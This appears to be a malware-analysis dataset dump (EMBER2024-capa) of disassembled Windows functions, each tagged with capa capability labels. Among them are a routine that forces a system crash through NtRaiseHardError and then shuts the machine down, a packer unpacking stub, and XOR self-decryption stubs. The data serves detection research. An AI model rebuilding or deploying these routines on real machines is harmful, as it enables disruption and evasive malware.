joyce8/EMBER2024-capa huggingface dataset:
Function at 0x699721
Capabilities:
Check if file exists
Create pipe
Create thread

Disassembly:
mov eax, 0x6bcd04
call fcn.006426c4
sub esp, 0x1c
push ebx
mov ebx, ecx
push esi
push edi
push dword [ebp + 8]
lea esi, [ebx + 4]
mov dword [ebp - 0x10], ebx
mov ecx, esi
mov dword [ebx], 0x746c24
call fcn.00427fbe
xor edx, edx
lea edi, [ebx + 0x1c]
mov dword [edi + 0x14], 7
mov dword [edi + 0x10], edx
cmp dword [edi + 0x14], 8
mov dword [ebp - 4], edx
jb 0x699765
mov eax, dword [edi]
jmp 0x699767
mov eax, edi
xor ecx, ecx
mov word [eax], cx
mov al, byte [ebp + 0xc]
mov byte [ebx + 0x34], al
mov eax, dword [ebp + 0x10]
mov dword [ebx + 0x38], eax
mov eax, dword [ebp + 0x14]
push esi
mov dword [ebx + 0x3c], eax
lea eax, [ebp - 0x28]
push 0x746c28
push eax
mov byte [ebp - 4], 1
mov byte [ebx + 0x74], dl
call fcn.00428ee7
push eax
mov ecx, edi
call fcn.00428071
xor esi, esi
lea ecx, [ebp - 0x28]
push esi
push 1
call fcn.004285f6
push esi
push esi
push 1
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_CreateEventW]
call esi
mov dword [ebx + 0x48], eax
xor eax, eax
push eax
push eax
push eax
push eax
call esi
mov dword [ebx + 0x5c], eax
xor eax, eax
push eax
push eax
push eax
push eax
call esi
cmp byte [ebx + 0x34], 0
mov dword [ebx + 0x70], eax
je 0x699802
cmp dword [edi + 0x14], 8
jb 0x6997dd
mov edi, dword [edi]
push dword [ebp + 0x18]
xor esi, esi
mov eax, 0x800
push esi
push eax
push eax
push 0xff
push 6
push 0x40080003
push edi
call dword [sym.imp.KERNEL32.DLL_CreateNamedPipeW]
mov dword [ebx + 0x44], eax
jmp 0x699846
xor esi, esi
mov eax, esi
cmp eax, 2
jne 0x699816
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp dword [edi + 0x14], 8
jb 0x699820
mov eax, dword [edi]
jmp 0x699822
mov eax, edi
push esi
push 0x40000080
push 3
push esi
push esi
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov dword [ebx + 0x44], eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 2
je 0x69980b
cmp dword [ebx + 0x44], 0xffffffff
je 0x69985f
push esi
push esi
push ebx
push 0x69998a
push esi
push esi
call dword [sym.imp.KERNEL32.DLL_CreateThread]
mov dword [ebx + 0x40], eax
mov ecx, dword [ebp - 0xc]
mov eax, ebx
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0x14

Function at 0x69991e
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, ecx
mov ecx, dword [ebp + 8]
push edi
and dword [esi + 0x68], 0
and dword [esi + 0x6c], 0
cmp dword [ecx + 0x14], 0x10
mov eax, dword [ecx + 0x10]
jb 0x69993b
mov ecx, dword [ecx]
lea edi, [esi + 0x60]
inc eax
push edi
lea edx, [ebp + 8]
push edx
push eax
push ecx
push dword [esi + 0x44]
call dword [sym.imp.KERNEL32.DLL_WriteFile]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0x3e5
jne 0x69997b
push 0xffffffffffffffff
push dword [esi + 0x70]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
jne 0x69997b
push 1
lea eax, [ebp + 8]
push eax
push edi
push dword [esi + 0x44]
call dword [sym.imp.KERNEL32.DLL_GetOverlappedResult]
push dword [esi + 0x44]
call dword [sym.imp.KERNEL32.DLL_FlushFileBuffers]
pop edi
pop esi
pop ebp
ret 4
Function at 0x699998
Capabilities:
Connect pipe
Read file on windows

Disassembly:
mov eax, 0x6bcd16
call fcn.006426c4
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, ecx
xor ebx, ebx
mov byte [edi + 0x74], 1
cmp byte [edi + 0x34], bl
je 0x6999f9
lea eax, [edi + 0x4c]
mov dword [edi + 0x54], ebx
push eax
push dword [edi + 0x44]
mov dword [edi + 0x58], ebx
call dword [sym.imp.KERNEL32.DLL_ConnectNamedPipe]
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test esi, esi
jne 0x6999f9
cmp eax, 0x217
je 0x6999f9
cmp eax, 0x3e5
jne 0x699aad
push 0xffffffffffffffff
push dword [edi + 0x5c]
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
jne 0x699aad
push dword [edi + 0x48]
call dword [sym.imp.KERNEL32.DLL_SetEvent]
mov dword [ebp - 0x10], ebx
mov dword [edi + 0x54], ebx
mov dword [edi + 0x58], ebx
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x28], bl
push 0x401
mov dword [ebp - 4], ebx
call fcn.00642a25
pop ecx
mov esi, eax
push ebx
lea eax, [ebp - 0x10]
push eax
push 0x400
push esi
push dword [edi + 0x44]
call dword [sym.imp.KERNEL32.DLL_ReadFile]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
sub eax, 6
neg eax
sbb eax, eax
and eax, dword [ebp - 0x10]
mov dword [ebp - 0x10], eax
je 0x699a78
cmp byte [esi + eax - 1], 0
push esi
sete bl
mov byte [esi + 0x400], 0
call fcn.0040f53e
pop ecx
push eax
push esi
lea ecx, [ebp - 0x28]
call fcn.0040f4a2
push 0
test bl, bl
pop ebx
je 0x699a28
push esi
call fcn.006426f2
cmp dword [ebp - 0x10], 0
pop ecx
je 0x699a9f
push dword [edi + 0x3c]
lea eax, [ebp - 0x28]
push eax
call dword [edi + 0x38]
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.0040f95f
jmp 0x699a02
push ebx
push 1
lea ecx, [ebp - 0x28]
call fcn.0040f95f
mov byte [edi + 0x74], bl
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x69a56b
Capabilities:
Get disk information

Disassembly:
mov eax, 0x6bc4f6
call fcn.006426c4
sub esp, 0x228
push ebx
push esi
push edi
push 0x41
pop eax
push 0x3a
mov word [ebp - 0x14], ax
xor edi, edi
pop eax
mov word [ebp - 0x12], ax
push 0x5c
pop eax
mov word [ebp - 0x10], ax
xor eax, eax
mov dword [ebp - 4], edi
mov word [ebp - 0xe], ax
call dword [sym.imp.KERNEL32.DLL_GetLogicalDrives]
mov ebx, eax
mov esi, edi
test ebx, ebx
je 0x69a615
test bl, 1
je 0x69a60b
lea eax, [esi + 0x41]
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_GetDriveTypeW]
cmp eax, 2
jne 0x69a60b
push 0x104
lea eax, [ebp - 0x234]
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.DLL_GetVolumeNameForVolumeMountPointW]
test eax, eax
je 0x69a60b
lea eax, [ebp - 0x234]
push eax
lea ecx, [ebp - 0x2c]
call fcn.00429d77
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x2c]
call fcn.004392c2
push edi
push 1
test eax, eax
je 0x69a635
lea ecx, [ebp - 0x2c]
call fcn.004285f6
shr ebx, 1
inc esi
cmp esi, 0x1a
jl 0x69a5ac
mov esi, edi
push edi
push 1
lea ecx, [ebp + 8]
call fcn.004285f6
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0x1c
mov ecx, dword [ebp + 0x20]
mov ax, word [ebp - 0x14]
mov word [ecx], ax
lea ecx, [ebp - 0x2c]
call fcn.004285f6
xor esi, esi
inc esi
jmp 0x69a615
Function at 0x69a987
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push esi
mov esi, ecx
cmp dword [esi + 0x110], 2
jne 0x69aa0b
lea eax, [esi + 0xf0]
cmp dword [eax + 0x14], 8
jb 0x69a9a7
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x30]
push str._s:_
push eax
call fcn.00465d7f
mov eax, dword [ebp - 0x30]
add esp, 0xc
cmp dword [ebp - 0x1c], 8
jae 0x69a9c5
lea eax, [ebp - 0x30]
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x18]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetDiskFreeSpaceExW]
xor ecx, ecx
test eax, eax
je 0x69a9f2
mov eax, dword [ebp - 8]
mov dword [esi + 0x108], eax
mov eax, dword [ebp - 4]
mov dword [esi + 0x10c], eax
jmp 0x69a9fe
mov dword [esi + 0x108], ecx
mov dword [esi + 0x10c], ecx
push ecx
push 1
lea ecx, [ebp - 0x30]
call fcn.004285f6
jmp 0x69aa19
xor ecx, ecx
mov dword [esi + 0x108], ecx
mov dword [esi + 0x10c], ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x69ab56
Capabilities:
Get disk information

Disassembly:
mov eax, 0x6bcf4a
call fcn.006426c4
sub esp, 0x448
push edi
mov edi, ecx
cmp dword [edi + 0x110], 2
jne 0x69ab7a
xor eax, eax
inc eax
jmp 0x69ac81
push esi
movzx esi, word [ebp + 8]
lea eax, [ebp - 0x44]
push esi
push 0x746cf4
push eax
call fcn.00465d7f
and dword [ebp - 4], 0
lea eax, [ebp - 0x2c]
push esi
push str._c:_
push eax
call fcn.00465d7f
add esp, 0x18
mov eax, dword [ebp - 0x2c]
push 8
pop esi
mov byte [ebp - 4], 1
cmp dword [ebp - 0x18], esi
jae 0x69abb6
lea eax, [ebp - 0x2c]
mov edx, 0x104
lea ecx, [ebp - 0x454]
push edx
push ecx
lea ecx, [ebp + 8]
push ecx
lea ecx, [ebp - 0x10]
push ecx
lea ecx, [ebp - 0x14]
push ecx
push edx
lea ecx, [ebp - 0x24c]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_GetVolumeInformationW]
test eax, eax
je 0x69ac5e
lea eax, [ebp - 0x24c]
push eax
call fcn.00428864
pop ecx
push eax
lea eax, [ebp - 0x24c]
push eax
lea ecx, [edi + 0xa8]
call fcn.00439135
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x14], esi
jb 0x69ac0c
mov eax, dword [eax]
push eax
mov ecx, edi
call fcn.0069a90d
mov eax, dword [ebp + 0x10]
cmp dword [eax + 0x14], esi
jb 0x69ac1e
mov eax, dword [eax]
push eax
mov ecx, edi
call fcn.0069a966
mov eax, dword [ebp - 0x44]
cmp dword [ebp - 0x30], esi
jae 0x69ac31
lea eax, [ebp - 0x44]
push eax
mov ecx, edi
call fcn.0069a92e
mov ecx, edi
mov dword [edi + 0x110], 2
call fcn.0069a987
push 7
push edi
call fcn.005d2bef
mov ecx, eax
call fcn.005d2f24
xor esi, esi
inc esi
jmp 0x69ac66
call dword [sym.imp.KERNEL32.DLL_GetLastError]
xor esi, esi
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.004285f6
push 0
push 1
lea ecx, [ebp - 0x44]
call fcn.004285f6
mov eax, esi
pop esi
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x50ce50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.QNhjSkbP
lea edi, [esi - 0x9000]
push edi
or ebp, 0xffffffff
jmp 0x50ce72
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x50ce79
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x50ce68
mov eax, 1
add ebx, ebx
jne 0x50ce8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x50ce80
jne 0x50ce9c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50ce80
xor ecx, ecx
sub eax, 3
jb 0x50ceb0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x50cf22
mov ebp, eax
add ebx, ebx
jne 0x50cebb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x50cec8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x50ceec
inc ecx
add ebx, ebx
jne 0x50ced8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x50cecd
jne 0x50cee9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x50cecd
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x50cf0c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x50cefd
jmp 0x50ce6e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x50cf0c
add edi, ecx
jmp 0x50ce6e
pop esi
lea edi, [esi + 0xa000]
mov eax, dword [edi]
or eax, eax
je 0x50cf6b
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0xeacc]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0xeb24]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x50cf29
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0xeb2c]
or eax, eax
je 0x50cf65
mov dword [ebx], eax
add ebx, 4
jmp 0x50cf46
call dword [esi + 0xeb28]
mov ebp, dword [esi + 0xeb30]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x20f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x50cf9f
sub esp, 0xffffff80
jmp section.bUItIFMf

Function at 0xdded44
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdded4e
pushal
call 0xdded54
pop ebp
sub ebp, 0x10
sub ebp, 0x9ded44
jmp 0xdded6a
mov eax, 0x9ded44
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c5
mov edx, 0x4a88cbab
xor byte [eax], dl
inc eax
dec ecx
jne 0xdded81
jmp 0xdded94
and byte [esi + 0x20], ah
and dl, byte [edi + 0x2aababab]
push 0x53
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
test al, 0x66
adc ebp, dword [edi + 0x11ababab]
sub dword [ebx + 0x495cabab], 0xffffffa8
arpl word [eax], sp
sub ah, byte [edi - 0x57545455]
outsb dx, byte [esi]
sti
iretd
Function at 0x401000
Capabilities:
Generate random numbers via winapi
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x412004]
xor eax, ebp
mov dword [ebp - 4], eax
push pe_nt_image_headers32
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_SetPriorityClass]
push str.NtRaiseHardError
push str.ntdll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.RtlAdjustPrivilege
push str.ntdll
mov dword [ebp - 0x20], eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x15]
push ecx
push 0
push 1
push 0x13
call eax
mov eax, dword [0x413188]
test eax, eax
jne 0x401081
push 0xf0000040
push 1
push eax
push eax
push 0x413188
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov eax, dword [0x413188]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], 0
push ecx
push 4
push eax
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
lea eax, [ebp - 0x28]
xor edx, edx
push eax
mov eax, dword [ebp - 0x1c]
mov ecx, 0x1a4
and eax, 0x7fffffff
div ecx
push 6
push 0
push 0
push 0
sub edx, 0x3fffffff
push edx
call dword [ebp - 0x20]
lea eax, [ebp - 0x24]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea eax, [ebp - 0x10]
push eax
push str.SeShutdownPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
push 0
push 0
push 0
lea eax, [ebp - 0x14]
mov dword [ebp - 0x14], 1
push eax
push 0
push dword [ebp - 0x24]
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
push 0x10007
push 6
call dword [sym.imp.USER32.dll_ExitWindowsEx]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.00401122
mov esp, ebp
pop ebp
ret 0x10
Function at 0x497137
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.00401e42
mov eax, dword [0x53bbc0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.00406258
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x497179
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x4972d5
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.004063b6
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x53f770]
push dword [edi + eax + 0x24]
push dword [edi + eax + 0x20]
push ebx
call fcn.0040344a
mov ecx, dword [esi*4 + 0x53f770]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [edi + ecx + 0x20]
jne 0x4972ce
cmp eax, dword [edi + ecx + 0x24]
jne 0x4972ce
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [edi + ecx + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4972ce
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0040344a
add esp, 0x14
test edx, edx
jl 0x4972ce
jg 0x497244
test eax, eax
jb 0x4972ce
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x4972ce
jl 0x49725e
cmp dword [ebp - 0x1008], eax
ja 0x4972ce
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x49727c
test ebx, ebx
je 0x4972b5
cmp ecx, edi
jae 0x4972b5
mov al, byte [ecx]
cmp al, 0xd
jne 0x497296
lea eax, [edi - 1]
cmp ecx, eax
jae 0x4972a2
cmp byte [ecx + 1], 0xa
jne 0x4972a2
inc ecx
jmp 0x4972a2
movzx eax, al
movsx eax, byte [eax + 0x53bf20]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x49727c
cmp edx, ebx
jne 0x49727c
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x4972d3
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040320b
leave
ret
Function at 0x497a14
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x53f770]
mov dword [ebp - 0x10], ecx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x497a54
cmp byte [ebx], 0xa
jne 0x497a54
or byte [eax + edi + 0x28], 4
jmp 0x497a59
and byte [eax + edi + 0x28], 0xfb
add ecx, ebx
mov edx, ebx
mov dword [ebp - 0xc], ecx
mov esi, ebx
cmp ebx, ecx
jae 0x497b57
mov al, byte [edx]
cmp al, 0x1a
je 0x497b39
lea ecx, [edx + 1]
mov dword [ebp - 8], ecx
mov ecx, dword [ebp - 0xc]
cmp al, 0xd
je 0x497a88
mov edx, dword [ebp - 8]
mov byte [esi], al
jmp 0x497aad
mov eax, dword [ebp - 8]
cmp eax, ecx
jae 0x497ab7
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add edx, eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov ecx, dword [ebp - 0xc]
inc esi
cmp edx, ecx
jb 0x497a6a
jmp 0x497b57
push 0
lea eax, [ebp - 0xc]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x497b34
cmp dword [ebp - 0xc], 0
je 0x497b34
mov ecx, dword [ebp - 0x10]
mov eax, dword [ecx*4 + 0x53f770]
test byte [eax + edi + 0x28], 0x48
je 0x497b0e
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x497af9
mov byte [esi], dl
jmp 0x497b0a
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x53f770]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x497b57
cmp byte [ebp - 1], 0xa
jne 0x497b1d
cmp esi, ebx
jne 0x497b1d
mov byte [esi], 0xa
jmp 0x497b56
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.004019b5
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x497b57
mov byte [esi], 0xd
jmp 0x497b56
mov ecx, dword [ebp - 0x10]
mov ecx, dword [ecx*4 + 0x53f770]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x497b53
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x497b57
mov byte [esi], 0x1a
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x497bb3
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
mov ebx, eax
and eax, 0x3f
sar ebx, 6
push edi
imul edi, eax, 0x38
push 0xa
mov eax, dword [ebx*4 + 0x53f770]
pop edx
mov dword [ebp - 0x14], edx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x497bf6
cmp word [esi], dx
jne 0x497bf6
or byte [edi + eax + 0x28], 4
jmp 0x497bfb
and byte [edi + eax + 0x28], 0xfb
lea edx, [esi + ecx*2]
mov eax, esi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
cmp eax, edx
jae 0x497d4e
mov dword [ebp - 0xc], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x10], edx
push 0x1a
pop edx
cmp cx, dx
mov edx, dword [ebp - 8]
je 0x497d2e
add eax, 2
cmp cx, word [ebp - 0xc]
je 0x497c3d
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x497c73
cmp eax, edx
jae 0x497c7f
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x14]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 8]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
add esi, 2
cmp eax, edx
jb 0x497c15
jmp 0x497d4e
push 0
lea eax, [ebp - 0x14]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x497d2a
cmp dword [ebp - 0x14], 0
je 0x497d2a
mov eax, dword [ebx*4 + 0x53f770]
push 0xa
test byte [edi + eax + 0x28], 0x48
je 0x497d02
mov dx, word [ebp - 4]
lea eax, [esi + 2]
pop ecx
mov dword [ebp - 0x18], eax
cmp dx, cx
jne 0x497ccb
mov word [esi], cx
jmp 0x497cfe
push 0xd
pop eax
mov word [esi], ax
mov eax, dword [ebx*4 + 0x53f770]
movzx ecx, dx
shr ecx, 8
push 0xa
mov byte [edi + eax + 0x2a], dl
mov eax, dword [ebx*4 + 0x53f770]
mov byte [edi + eax + 0x2b], cl
mov eax, dword [ebx*4 + 0x53f770]
pop ecx
mov byte [edi + eax + 0x2c], cl
mov eax, dword [ebp - 0x18]
mov esi, eax
jmp 0x497d4e
pop ebx
cmp word [ebp - 4], bx
jne 0x497d13
cmp esi, dword [ebp + 0xc]
jne 0x497d13
mov word [esi], bx
jmp 0x497d4b
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.004019b5
add esp, 0x10
cmp word [ebp - 4], bx
je 0x497d4e
push 0xd
jmp 0x497d47
mov ecx, dword [ebx*4 + 0x53f770]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x497d45
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x497d4e
push 0x1a
pop eax
mov word [esi], ax
add esi, 2
sub esi, dword [ebp + 0xc]
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x49fe47
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x53bbc0]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x49fe92
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.004a0309
test al, al
jne 0x49fe8c
sub edx, 2
cmp edx, edi
jne 0x49fe72
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x49feb4
lea eax, [edi + 2]
cmp edx, eax
je 0x49feb4
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.0049fa40
add esp, 0x10
jmp 0x49ffae
push esi
lea ecx, [ebp - 0x255]
call fcn.004a0309
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x49fef7
push dword [ebp - 0x25c]
jmp 0x49fea4
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x49ff34
cmp word [ebp - 0x226], 0
je 0x49ff55
cmp word [ebp - 0x226], ax
jne 0x49ff34
cmp word [ebp - 0x224], 0
je 0x49ff55
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.0049fa40
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x49ffa1
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x49ff0e
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x49ff89
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x49ffae
push 0x49f428
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.004058d5
add esp, 0x10
jmp 0x49ff7e
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, dword [ebp - 0x264]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040320b
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx